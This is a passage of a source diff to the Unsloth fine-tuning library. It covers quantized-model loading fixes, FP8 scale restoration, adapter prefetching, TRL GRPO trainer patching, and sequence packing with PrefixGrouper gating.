             model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-        # Change -BF16 to all False for 4bit, 8bit etc
-        if model_name.lower().endswith("-bf16"):
+        # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+        if model_name.lower().endswith("-bf16") and (
+            load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+        ):
             load_in_4bit = False
             load_in_8bit = False
             load_in_fp8 = False
@@ -1263,6 +1347,7 @@ class FastModel(FastBaseModel):
             trust_remote_code = trust_remote_code,
         )
         model_types_all = ",".join(model_types) + ","
+        _maybe_advise_fla_install(model_types)
 
         # ---- Text-diffusion models (e.g. DiffusionGemma) take a transformers-only slow path. ----
         # These use a custom block-diffusion `generate` and a novel backbone, so we skip Unsloth's
@@ -1474,8 +1559,10 @@ class FastModel(FastBaseModel):
                 ("-unsloth-bnb-4bit", "-bnb-4bit")
             ):
                 model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-            # Change -BF16 to all False for 4bit, 8bit etc
-            if model_name.lower().endswith("-bf16"):
+            # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+            if model_name.lower().endswith("-bf16") and (
+                load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+            ):
                 load_in_4bit = False
                 load_in_8bit = False
                 load_in_fp8 = False
@@ -1790,6 +1877,28 @@ class FastModel(FastBaseModel):
 
                 _LoraModel._create_and_replace = _patched_car
 
+            # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet.
+            _prefetched = maybe_prefetch_hf_snapshot(
+                old_model_name,
+                token = token,
+                revision = revision,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = local_files_only,
+                # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.
+                fast_inference = False,
+                force_download = kwargs.get("force_download", False),
+                # Leave use_safetensors auto (inheriting base format could skip a safetensors-only
+                # adapter). adapter_only restricts the warm to the adapter files + root aux.
+                adapter_only = True,
+            )
+            # Child did the forced download; clear the flag so the load reuses the warm cache.
+            if _prefetched and kwargs.get("force_download", False):
+                kwargs["force_download"] = False
+            # Forward cache_dir so the load reads the warmed adapter. No subfolder (that targets the
+            # base checkpoint; adapters live at the root).
+            peft_load_kwargs = {}
+            if kwargs.get("cache_dir") is not None:
+                peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]
             try:
                 model = PeftModel.from_pretrained(
                     model,
@@ -1799,6 +1908,7 @@ class FastModel(FastBaseModel):
                     local_files_only = local_files_only,
                     is_trainable = True,
                     trust_remote_code = trust_remote_code,
+                    **peft_load_kwargs,
                 )
             finally:
                 # Always restore original PEFT method, even if loading fails
@@ -1809,6 +1919,15 @@ class FastModel(FastBaseModel):
             model = FastBaseModel.post_patch_model(
                 model, use_gradient_checkpointing, trust_remote_code = trust_remote_code
             )
+            # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back
+            # to the original loop, an attention-only adapter keeps the grouped path. Guarded.
+            try:
+                from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (
+                    auto_enable_grouped_moe,
+                )
+                auto_enable_grouped_moe(model)
+            except Exception:
+                pass  # optional speedup; never block model loading
 
         # Apply QAT if specified
         if qat_scheme is not None:
diff --git a/unsloth/models/loader_utils.py b/unsloth/models/loader_utils.py
index d6d6ce877e..7661b0d714 100644
--- a/unsloth/models/loader_utils.py
+++ b/unsloth/models/loader_utils.py
@@ -239,6 +239,11 @@ def get_model_name(
         and new_model_name.lower() in BAD_MAPPINGS
     ):
         new_model_name = BAD_MAPPINGS[new_model_name.lower()]
+    elif new_model_name is None and model_name.lower() in BAD_MAPPINGS:
+        # Some bad names (e.g. the `-unsloth-bnb-4bit` dynamic quants) are keys
+        # of the mappers, not values, so the resolver returns None for them and
+        # the remap above is skipped; remap the input name directly instead.
+        new_model_name = BAD_MAPPINGS[model_name.lower()]
 
     if (
         new_model_name is None
@@ -362,6 +367,287 @@ def _tag_model_with_fp8_torchao_config(model: torch.nn.Module, fp8_mode: str):
         pass
 
 
+_FP8_DTYPES = tuple(
+    dtype
+    for dtype in (getattr(torch, "float8_e4m3fn", None), getattr(torch, "float8_e5m2", None))
+    if dtype is not None
+)
+
+
+def _fp8_block_size_from_config(model):
+    """Return the [block_out, block_in] block size of an fp8 checkpoint, or None if not block-fp8."""
+    config = getattr(model, "config", None)
+    quant = getattr(config, "quantization_config", None)
+    if quant is None:
+        return None
+    if hasattr(quant, "to_dict"):
+        quant = quant.to_dict()
+    if not isinstance(quant, dict):
+        return None
+    if quant.get("quant_method") != "fp8":
+        return None
+    block = quant.get("weight_block_size")
+    if not block:
+        return None
+    if isinstance(block, (int, float)):
+        block = [block, block]
+    elif isinstance(block, (list, tuple)):
+        if len(block) == 1:
+            block = [block[0], block[0]]
+        elif len(block) < 2:
+            return None
+    else:
+        return None
+    return [int(block[0]), int(block[1])]
+
+
+def _load_fp8_weight_map(
+    model_name,
+    local_files_only,
+    token,
+    revision = None,
+    subfolder = None,
+    cache_dir = None,
+):
+    """Return the checkpoint's tensor->file map, using the same snapshot the load used.
+
+    Prefers the sharded `model.safetensors.index.json`; falls back to a single `model.safetensors`
+    (every tensor maps to that one file) so unsharded checkpoints are covered too.
+    """
+
+    def _local_path(filename):
+        return (
+            os.path.join(model_name, subfolder, filename)
+            if subfolder
+            else os.path.join(model_name, filename)
+        )
+
+    def _remote_path(filename):
+        from huggingface_hub import hf_hub_download
+        return hf_hub_download(
+            model_name,
+            filename,
+            revision = revision,
+            subfolder = subfolder,
+            cache_dir = cache_dir,
+            local_files_only = local_files_only,
+            token = token,
+        )
+
+    index_file = "model.safetensors.index.json"
+    single_file = "model.safetensors"
+    is_local = os.path.isdir(model_name)
+
+    # Sharded checkpoint.
+    if is_local and os.path.exists(_local_path(index_file)):
+        index_path = _local_path(index_file)
+    elif not is_local:
+        try:
+            index_path = _remote_path(index_file)
+        except Exception:
+            index_path = None
+    else:
+        index_path = None
+    if index_path is not None:
+        import json
+        with open(index_path, "r") as f:
+            return json.load(f).get("weight_map", None)
+
+    # Unsharded single file: map every tensor to it.
+    try:
+        if is_local and os.path.exists(_local_path(single_file)):
+            single_path = _local_path(single_file)
+        elif not is_local:
+            single_path = _remote_path(single_file)
+        else:
+            return None
+        from safetensors import safe_open
+        with safe_open(single_path, framework = "pt") as f:
+            return {key: single_file for key in f.keys()}
+    except Exception:
+        return None
+
+
+def _resolve_fp8_shard(
+    model_name,
+    shard,
+    local_files_only,
+    token,
+    revision = None,
+    subfolder = None,
+    cache_dir = None,
+):
+    """Resolve a checkpoint shard filename to a local path (repo id or local dir)."""
+    if os.path.isdir(model_name):
+        return (
+            os.path.join(model_name, subfolder, shard)
+            if subfolder
+            else os.path.join(model_name, shard)
+        )
+    from huggingface_hub import hf_hub_download
+
+    return hf_hub_download(
+        model_name,
+        shard,
+        revision = revision,
+        subfolder = subfolder,
+        cache_dir = cache_dir,
+        local_files_only = local_files_only,
+        token = token,
+    )
+
+
+def _match_fp8_module(module_by_name, base):
+    """Resolve a checkpoint module name to a live module, allowing for VLM key remappings.
+
+    VLM loads can name the text tower differently from the checkpoint keys: `text_only=True`
+    strips the `language_model.` wrapper (so `model.language_model.layers.*` -> `model.layers.*`),
+    and full VLM loads may expose `model.language_model.*` while the checkpoint stores
+    `language_model.model.*`. Try the raw key first, then a few safe remappings.
+    """
+    if base in module_by_name:
+        return module_by_name[base]
+    candidates = []
+    if "language_model." in base:
+        candidates.append(base.replace("language_model.", "", 1))  # text-only: drop wrapper
+    if "language_model.model." in base:
+        candidates.append(base.replace("language_model.model.", "model.language_model.", 1))
+    if base.startswith("language_model."):
+        candidates.append("model." + base)  # add model. prefix
+    for candidate in candidates:
+        if candidate in module_by_name:
+            return module_by_name[candidate]
+    return None
+
+
+def _restore_dropped_fp8_scales(
+    model,
+    model_name,
+    *,
+    local_files_only = False,
+    token = None,
+    revision = None,
+    subfolder = None,
+    cache_dir = None,
+    variant = None,
+):
+    """Re-apply block-fp8 `weight_scale_inv` tensors that transformers dropped on load.
+
+    On some block-scale fp8 checkpoints (e.g. Qwen3.6-27B-FP8, issue #6200) transformers fails to
+    convert a Linear (such as `mlp.gate_proj`) to an fp8 module, loading the raw quantized values
+    into a plain bf16 weight and discarding its `weight_scale_inv` as an unexpected key. The weight
+    is then used un-scaled, producing a garbage model. For every checkpoint scale whose live weight
+    is not fp8, dequantize the orphaned weight in place. Modules that were converted correctly keep
+    an fp8 weight and are skipped, so a healthy checkpoint is a no-op. Returns (restored, skipped).
+    """
+    try:
+        block = _fp8_block_size_from_config(model)
+        if block is None or not _FP8_DTYPES:
+            return (0, 0)
+        # A variant load reads variant-named files; skip to avoid applying default scales to them.
+        if variant:
+            return (0, 0)
+        # No fp8 params means the checkpoint was dequantized on purpose (e.g. load_in_16bit);
+        # re-applying a scale would corrupt those already-correct 16bit weights, so do nothing.
+        if not any(p.dtype in _FP8_DTYPES for p in model.parameters()):
+            return (0, 0)
+        weight_map = _load_fp8_weight_map(
+            model_name, local_files_only, token, revision, subfolder, cache_dir
+        )
+        if not weight_map:
+            return (0, 0)
+
+        scale_keys = {k: v for k, v in weight_map.items() if k.endswith(".weight_scale_inv")}
+        if not scale_keys:
+            return (0, 0)
+
+        module_by_name = dict(model.named_modules())
+        bs0, bs1 = block
+        restored = 0
+        skipped = 0
+        failed = 0
+        offloaded = 0
+        shard_cache = {}
+        for scale_key, shard in scale_keys.items():
+            base = scale_key[: -len(".weight_scale_inv")]
+            module = _match_fp8_module(module_by_name, base)
+            if module is None:
+                continue
+            weight = getattr(module, "weight", None)
+            if not isinstance(weight, torch.Tensor) or weight.ndim != 2:
+                continue
+            if weight.device.type == "meta":
+                # Disk-offloaded layer: weight lives on meta until forward, so it cannot be
+                # scaled in place here. Count and warn rather than silently leave it unscaled.
+                offloaded += 1
+                continue
+            if weight.dtype in _FP8_DTYPES:
+                # Correctly converted fp8 module: the fp8 path already handles the scale.
+                skipped += 1
+                continue
+
+            # Errors after this point are per-tensor: warn and continue, never abort or hide them.
+            try:
+                if shard not in shard_cache:
+                    from safetensors import safe_open
+                    shard_path = _resolve_fp8_shard(
+                        model_name,
+                        shard,
+                        local_files_only,
+                        token,
+                        revision,
+                        subfolder,
+                        cache_dir,
+                    )
+                    shard_cache[shard] = safe_open(shard_path, framework = "pt")
+                scale = shard_cache[shard].get_tensor(scale_key).to(torch.float32)
+
+                out_features, in_features = weight.shape
+                out_blocks = (out_features + bs0 - 1) // bs0
+                in_blocks = (in_features + bs1 - 1) // bs1
+                if tuple(scale.shape) == (out_blocks, in_blocks):
+                    pass
+                elif tuple(scale.shape) == (in_blocks, out_blocks) and out_blocks != in_blocks:
+                    # Transposed block layout: same handling as the fp8 forward path.
+                    scale = scale.t().contiguous()
+                else:
+                    # Shape does not match the block grid: skip rather than apply a wrong scale.
+                    continue
+                scale = scale.to(weight.device)
+                with torch.no_grad():
+                    if out_features % bs0 == 0 and in_features % bs1 == 0:
+                        # Memory-frugal path: multiply block views in place against the broadcast
+                        # fp32 scale, avoiding a full expanded scale and fp32 copy that could OOM.
+                        # The in-place multiply promotes to fp32, matching the fallback exactly.
+                        module.weight.data.view(out_blocks, bs0, in_blocks, bs1).mul_(
+                            scale[:, None, :, None]
+                        )
+                    else:
+                        scale_expanded = scale.repeat_interleave(bs0, dim = 0).repeat_interleave(
+                            bs1, dim = 1
+                        )[:out_features, :in_features]
+                        module.weight.data = (weight.to(torch.float32) * scale_expanded).to(
+                            weight.dtype
+                        )
+                restored += 1
+            except Exception:
+                failed += 1
+                continue
+
+        if restored > 0:
+            print(f"Unsloth: Restored {restored} dropped FP8 weight_scale_inv tensor(s) on load")
+        if failed > 0:
+            print(f"Unsloth: {failed} dropped FP8 weight_scale_inv tensor(s) could not be restored")
+        if offloaded > 0:
+            print(
+                f"Unsloth: {offloaded} dropped FP8 weight_scale_inv tensor(s) skipped because the "
+                "layer is disk-offloaded; load without disk offload so the scales can be restored"
+            )
+        return (restored, skipped)
+    except Exception:
+        return (0, 0)
+
+
 def check_and_disable_bitsandbytes_loading(
     model_config,
     load_in_4bit = True,
@@ -535,7 +821,7 @@ def _exclude_rope_inv_freq_from_ddp(model):
 
 # =============================================================================
 # Offline loading - single source of truth (shared by vision.py, loader.py and
-# the Studio exporter). Decide offline ONCE at the load boundary and force it
+# the Unsloth exporter). Decide offline ONCE at the load boundary and force it
 # ONCE around the whole load, so every nested HF call inherits it.
 # =============================================================================
 
diff --git a/unsloth/models/mapper.py b/unsloth/models/mapper.py
index 57c1e292c3..4558bb0f28 100644
--- a/unsloth/models/mapper.py
+++ b/unsloth/models/mapper.py
@@ -134,7 +134,7 @@ __INT_TO_FLOAT_MAPPER = \
         "unsloth/gemma-7b-it",
         "google/gemma-7b-it",
     ),
-    "unsloth/gemma-2b-bnb-4bit" : (
+    "unsloth/gemma-2b-it-bnb-4bit" : (
         "unsloth/gemma-2b-it",
         "google/gemma-2b-it",
     ),
@@ -701,7 +701,7 @@ __INT_TO_FLOAT_MAPPER = \
         "unsloth/Qwen2.5-VL-72B-Instruct-bnb-4bit",
     ),
     "unsloth/DeepScaleR-1.5B-Preview-unsloth-bnb-4bit" : (
-        "unsloth/DeepHermes-3-Llama-3-8B-Preview",
+        "unsloth/DeepScaleR-1.5B-Preview",
         "agentica-org/DeepScaleR-1.5B-Preview",
         "unsloth/DeepScaleR-1.5B-Preview-bnb-4bit",
     ),
diff --git a/unsloth/models/mistral.py b/unsloth/models/mistral.py
index df2a4de5bd..4350565fe2 100644
--- a/unsloth/models/mistral.py
+++ b/unsloth/models/mistral.py
@@ -27,6 +27,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from .llama import (
     LlamaRotaryEmbedding,
@@ -124,6 +125,9 @@ def MistralAttention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -134,6 +138,7 @@ def MistralAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
@@ -161,7 +166,13 @@ def MistralForCausalLM_fast_forward(
     *args,
     **kwargs,
 ) -> Union[Tuple, CausalLMOutputWithPast]:
-    if causal_mask is None and past_key_values is None:
+    # PrefixGrouper brings its own mask: a synthesized causal attention_mask would trip
+    # resolve_prefix_seg_info on the no-xFormers path and force a fallback.
+    if (
+        causal_mask is None
+        and past_key_values is None
+        and kwargs.get("prefix_seg_info", None) is None
+    ):
         bsz, q_len = input_ids.shape
         sliding_window = getattr(self.config, "sliding_window", None)
 
diff --git a/unsloth/models/qwen3.py b/unsloth/models/qwen3.py
index 4d010e0d96..173424d9f5 100644
--- a/unsloth/models/qwen3.py
+++ b/unsloth/models/qwen3.py
@@ -23,6 +23,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from .llama import (
     LlamaRotaryEmbedding,
@@ -146,6 +147,9 @@ def Qwen3Attention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -156,6 +160,7 @@ def Qwen3Attention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/rl.py b/unsloth/models/rl.py
index 62ef9e916a..eeab8fbaca 100644
--- a/unsloth/models/rl.py
+++ b/unsloth/models/rl.py
@@ -1370,6 +1370,9 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             # [TODO] See https://fengyao.notion.site/off-policy-rl
             # https://github.com/huggingface/trl/pull/3867 (August 7th)
             "vllm_importance_sampling_correction": False,
+            # TRL >= 1.7.0 enables the MoE router aux loss by default (0.001); the optimized
+            # GRPO forward does not compute it, so default off. Opt in via router_aux_loss_coef > 0.
+            "router_aux_loss_coef": 0.0,
         }
         for k, v in replacements.items():
             x = f"{k}( = [^,\n]{{1,}})?,\n"
@@ -1648,7 +1651,36 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
 
         RLTrainer_source = re.sub(pattern, new_options, RLTrainer_source, flags = re.DOTALL)
 
-        if trl_version >= Version("0.27.0"):
+        if trl_version >= Version("1.4.0"):
+            # The `elif is_peft_model(model) and args.beta != 0.0:` ref-adapter block
+            # was introduced in TRL 1.4.0 and is used through 1.7.x. Remove only that
+            # block, anchored on the final ref_param copy so we do NOT also swallow the
+            # following gradient-checkpointing enable_input_require_grads() block.
+            peft_pattern = (
+                r"\s*elif is_peft_model\(model\) and args\.beta != 0\.0:"
+                r".*?"
+                r"ref_param\.data\.copy_\(param\.data\)"
+            )
+
+            replacement_comment = (
+                "\n        # PEFT initialization logic removed via script for trl >= 1.4.0\n"
+            )
+
+            RLTrainer_source = re.sub(
+                peft_pattern, replacement_comment, RLTrainer_source, flags = re.DOTALL
+            )
+
+            if trl_version >= Version("1.7.0"):
+                # router_aux_loss_coef / aux_loss_enabled were added in TRL 1.7.0. Unsloth's
+                # optimized GRPO forward cannot compute the MoE router aux loss, so reject
+                # explicit opt-in (router_aux_loss_coef > 0) at init rather than silently ignoring it.
+                RLTrainer_source = RLTrainer_source.replace(
+                    "self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0",
+                    "self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0\n"
+                    '        if self.aux_loss_enabled: raise NotImplementedError("Unsloth GRPO does not compute the MoE router auxiliary loss; set router_aux_loss_coef = 0 (the Unsloth default).")',
+                )
+
+        elif trl_version >= Version("0.27.0"):
             peft_pattern = (
                 r"\s*if is_peft_available\(\) and is_peft_model\(model\) and args\.beta != 0\.0:"
                 r".*?"
@@ -1686,6 +1718,11 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
         'if getattr(model, "is_loaded_in_4bit", False) or getattr(model, "is_loaded_in_8bit", False):',
         "if False:",
     )
+    # TRL >= 1.7.0 spells the same QLoRA bf16 cast as `if _is_quantized_model:`.
+    RLTrainer_source = RLTrainer_source.replace(
+        "if _is_quantized_model:",
+        "if False:",
+    )
 
     if RLTrainer_name == "SFTTrainer":
         original_text = (
diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index 3be614cf4a..4ef3af6add 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -29,7 +29,9 @@ from collections import defaultdict
 from unsloth_zoo.rl_replacements import (
     RL_REPLACEMENTS,
     left_pack_padding,
+    create_completion_attention_mask,
     chunked_selective_log_softmax,
+    chunked_hidden_states_selective_log_softmax,
     _unsloth_get_mm_token_id,
     _unsloth_fix_mm_token_type_ids,
 )
@@ -48,7 +50,41 @@ from ..device_type import (
     ALLOW_PREQUANTIZED_MODELS,
 )
 import textwrap
-from ._utils import _get_inference_mode_context_manager
+from ._utils import _get_inference_mode_context_manager, UNSLOTH_ENABLE_LOGGING
+
+# One-time GRPO sequence-packing gates; mirrored into the generated trainer cache via RL_PRE_ITEMS.
+UNSLOTH_GRPO_SEQ_PACKING_ON = os.environ.get("UNSLOTH_GRPO_SEQ_PACKING", "1").lower() not in (
+    "0",
+    "false",
+    "no",
+    "off",
+)
+# Packing needs zoo#840's masked-column guard in grpo_compute_loss (installed zoo is fixed per-process).
+try:
+    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = "torch.where(_keep, new" in inspect.getsource(
+        RL_REPLACEMENTS["grpo_compute_loss"]
+    )
+except Exception:
+    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False
+# One-time PrefixGrouper gate; any import failure degrades to "PrefixGrouper off".
+_pg_build_layout = _pg_enabled_fn = _pg_verify_on = _pg_tol_ok = _PG_TOL_KILL = None
+UNSLOTH_GRPO_PREFIX_GROUPER_ON = os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER", "1").lower() not in (
+    "0",
+    "false",
+    "no",
+    "off",
+)
+if UNSLOTH_GRPO_PREFIX_GROUPER_ON:
+    try:
+        from ..utils.prefix_grouper import (
+            build_group_layout as _pg_build_layout,
+            prefix_grouper_enabled as _pg_enabled_fn,
+            verify_on as _pg_verify_on,
+            tol_ok as _pg_tol_ok,
+            TOL_KILL as _PG_TOL_KILL,
+        )
+    except Exception:
+        UNSLOTH_GRPO_PREFIX_GROUPER_ON = False
 
 RL_EXTRA_ARGS = defaultdict(list)
 RL_FUNCTIONS = defaultdict(list)
@@ -240,17 +276,13 @@ def dpo_trainer_vision_signature_columns(function_name, function):
     _extra_columns = "".join(f'                "{_k}",\n' for _k in _DPO_VISION_KEYS)
     new_function = function.replace(
         '                "image_sizes",\n                "token_type_ids",\n',
-        f'                "image_sizes",\n'
-        f"{_extra_columns}"
-        f'                "token_type_ids",\n',
+        f'                "image_sizes",\n{_extra_columns}                "token_type_ids",\n',
     )
     if new_function != function:
         return new_function
     return function.replace(
         '                "image_sizes",\n                "ref_chosen_logps",\n',
-        f'                "image_sizes",\n'
-        f"{_extra_columns}"
-        f'                "ref_chosen_logps",\n',
+        f'                "image_sizes",\n{_extra_columns}                "ref_chosen_logps",\n',
     )
 
 
@@ -405,6 +437,52 @@ RL_FUNCTIONS["dpo_trainer"].append(dpo_trainer_compute_loss_liger)
 RL_EXTRA_ARGS["dpo_trainer"].append(dpo_trainer_data_collator_vision_keys)
 
 
+_WRAPPED_PACKING_SETUP = (
+    "    import inspect as _inspect\n"
+    "    try:\n"
+    '        _unsloth_pack_has_strategy = "strategy" in _inspect.signature(pack_dataset).parameters\n'
+    "    except Exception:\n"
+    "        _unsloth_pack_has_strategy = True\n"
+    "    _unsloth_wrapped_packing = packing and (\n"
+    '        getattr(args, "packing_strategy", None) == "wrapped"\n'
+    "        or not _unsloth_pack_has_strategy\n"
+    "    )\n"
+)
+
+_WARNED_MISSING_ANCHORS = set()
+
+
+def _require_replace(
+    function,
+    old,
+    new,
+    *,
+    count = 1,
+    required = True,
+    where = "",
+):
+    """str.replace that never silently no-ops a load-bearing source edit.
+
+    Plain str.replace returns the source unchanged when the anchor is absent, so a
+    drifted anchor in a newer TRL / unsloth_zoo would skip the edit while later edits
+    still reference helper variables it should have introduced (NameError at runtime).
+    Fail loudly for a required edit, warn once and skip for an optional one, so a
+    drifted source can never corrupt the patched function silently.
+    """
+    if old not in function:
+        detail = f" ({where})" if where else ""
+        if required:
+            raise RuntimeError(
+                f"Unsloth: source anchor not found{detail}; the patched function is out "
+                "of sync with this TRL / unsloth_zoo version. Please file a bug report."
+            )
+        if where not in _WARNED_MISSING_ANCHORS:
+            _WARNED_MISSING_ANCHORS.add(where)
+            logger.warning(f"Unsloth: skipped an optional source edit{detail} (anchor not found).")
+        return function
+    return function.replace(old, new, count)
+
+
 # Fix tokenizer double BOS
 def sft_trainer_prepare_dataset(function_name, function):
     if function_name != "_prepare_non_packed_dataloader" and function_name != "_prepare_dataset":
@@ -422,6 +500,58 @@ def sft_trainer_prepare_dataset(function_name, function):
         if matched:
             # Use fast version!
             function = inspect.getsource(fast_sft_prepare_dataset)
+            # why: anchor the wrapped-packing setup on the function signature -- a
+            # structural anchor that always exists -- not the unsloth_zoo license comment,
+            # which is only lower-bounded and a newer Zoo may move or drop. Anchoring there
+            # let the setup silently no-op while edits below referenced its variables,
+            # NameError-ing every SFT dataset prep. Fail loudly if the signature is missing.
+            function, _n_setup = re.subn(
+                r"(def sft_prepare_dataset\s*\(.*?\)\s*(?:->[^:\n]*)?:[ \t]*\n)",
+                lambda match: match.group(1) + _WRAPPED_PACKING_SETUP,
+                function,
+                count = 1,
+                flags = re.DOTALL,
+            )
+            if _n_setup != 1:
+                raise RuntimeError(
+                    "Unsloth: failed to install wrapped-packing support into "
+                    "sft_prepare_dataset (signature not found); please file a bug report."
+                )
+            # why: route each edit through _require_replace so a drifted anchor fails
+            # loudly instead of leaving a dangling reference to the setup variables.
+            function = _require_replace(
+                function,
+                "truncation = do_truncation,",
+                "truncation = do_truncation and not _unsloth_wrapped_packing,",
+                where = "sft_prepare_dataset truncation flag",
+            )
+            function = _require_replace(
+                function,
+                "if do_truncation and max_seq_length > 0:",
+                "if do_truncation and not _unsloth_wrapped_packing and max_seq_length > 0:",
+                where = "sft_prepare_dataset truncation guard",
+            )
+            # why: reuse the guarded _unsloth_pack_has_strategy from the setup instead of
+            # re-calling _inspect.signature(pack_dataset) here -- the setup wraps that call
+            # in try/except, so a non-introspectable pack_dataset must not crash here.
+            function = _require_replace(
+                function,
+                """dataset = pack_dataset(
+            dataset.select_columns(used_column_names),
+            max_seq_length,
+            getattr(args, "packing_strategy", "bfd"),
+            map_kwargs,
+        )""",
+                """_pack_kwargs = {"map_kwargs": map_kwargs}
+        if _unsloth_pack_has_strategy:
+            _pack_kwargs["strategy"] = getattr(args, "packing_strategy", "bfd")
+        dataset = pack_dataset(
+            dataset.select_columns(used_column_names),
+            max_seq_length,
+            **_pack_kwargs,
+        )""",
+                where = "sft_prepare_dataset pack_dataset call",
+            )
             function = function.split("\n")
             function = "\n".join(" " * 4 + x for x in function)
             function = function.replace("def sft_prepare_dataset", "def _prepare_dataset")
@@ -1167,6 +1297,8 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                 if os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1":
                     self._autocast_dtype = torch.float16
 
+            compute_aux_loss = kwargs.get("compute_aux_loss", None)
+
             pixel_values, image_grid_thw = (
                 kwargs.get("pixel_values", None),
                 kwargs.get("image_grid_thw", None),
@@ -1359,6 +1491,439 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
             )
             os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
 
+            # ---- Sequence packing (default-on; disable with UNSLOTH_GRPO_SEQ_PACKING=0) ----
+            # One varlen [1, sum L] forward replaces the padded [B, Lmax] loop (also fixes the
+            # left-pad RoPE error). Self-verified against the per-row forward, re-checked as T
+            # grows; falls back if a backend ignores packed_seq_lengths.
+            logprobs = None
+
+            # ---- PrefixGrouper (GRPO shared-prompt dedup; default ON, exact + self-verified) ----
+            # G completions per prompt share the prefix; the packed path forwards it G times,
+            # PrefixGrouper stores it once (FlexAttention shared-prefix mask), cutting the trunk
+            # forward from G*(P+R) to P+G*R tokens. Gated by UNSLOTH_GRPO_PREFIX_GROUPER (needs
+            # seq-packing), tok_r auto-gate, and first-use self-verify vs the packed path
+            # (mismatch => fall back + mark unsafe), so a mask/isolation regression cannot ship
+            # silently. When off / ungrouped / unverified, the packed path below runs as before.
+            _pg_result = None
+            _pg_use = False
+            _pg_skip_pk = False  # once a shape is PG-verified, skip the full-row forward
+            _pg_forward_fn = None  # deferred PG forward (runs at the verify site below)
+            _pg_num_gen = getattr(self, "num_generations", None)
+            # Env gate hoisted to module level (mirrored via RL_PRE_ITEMS). Skip PG under vLLM
+            # (fast_inference=True): the rollout dominates the step, so PG saves little and its
+            # first-use self-verify is net overhead.
+            _pg_engage = (
+                UNSLOTH_GRPO_PREFIX_GROUPER_ON
+                and not getattr(self, "use_vllm", False)
+                and not getattr(unwrapped_model, "_unsloth_prefix_grouper_nograd_disabled", False)
+            )
+            if _pg_engage:
+                try:
+                    # Skip softcap models (the flex kernel never applies attn_logit_softcapping)
+                    # and hybrid SSM / MoE models: only the threaded attention forwards get the
+                    # shared-prefix isolation, so a Mamba or MoE decoder that does not forward
+                    # prefix_seg_info would leak suffixes across completions. PG also rides on
+                    # sequence packing, so it needs the same zoo masked-column guard.
+                    _pg_cfg = getattr(unwrapped_model, "config", None)
+                    _pg_engage = (
+                        _pg_enabled_fn()
+                        and UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
+                        and pixel_values is None
+                        and token_type_ids is None
+                        and mm_token_type_ids is None
+                        and _pg_num_gen is not None
+                        and _pg_num_gen >= 2
+                        and not getattr(_pg_cfg, "attn_logit_softcapping", None)
+                        # normal backends apply config.attention_dropout in training; the flex
+                        # path is deterministic, so skip PG when it is set.
+                        and not getattr(_pg_cfg, "attention_dropout", 0)
+                        and not any(
+                            getattr(_pg_cfg, _pg_a, None) is not None
+                            for _pg_a in (
+                                "mamba_d_ssm",
+                                "mamba_d_state",
+                                "mamba_expand",
+                                "num_experts",
+                                "num_local_experts",
+                                "n_routed_experts",
+                                "moe_intermediate_size",
+                            )
+                        )
+                    )
+                except Exception:
+                    _pg_engage = False
+            if _pg_engage:
+                try:
+                    _pg_pad = self.processing_class.pad_token_id
+                    # cap the PG span (P+max(R)) at the sliding window, like the packed _pk_sw guard.
+                    _pg_sw = getattr(
+                        getattr(unwrapped_model, "config", None), "sliding_window", None
+                    )
+                    if not (isinstance(_pg_sw, int) and _pg_sw > 0):
+                        _pg_sw = None
+                    _pg_layout = _pg_build_layout(
+                        input_ids,
+                        logits_to_keep,
+                        _pg_pad,
+                        _pg_num_gen,
+                        left_pad_tokens_per_prompt,
+                        max_segment_cap = _pg_sw,
+                    )
+                    _pg_unsafe = getattr(
+                        unwrapped_model, "_unsloth_prefix_grouper_nograd_unsafe", None
+                    )
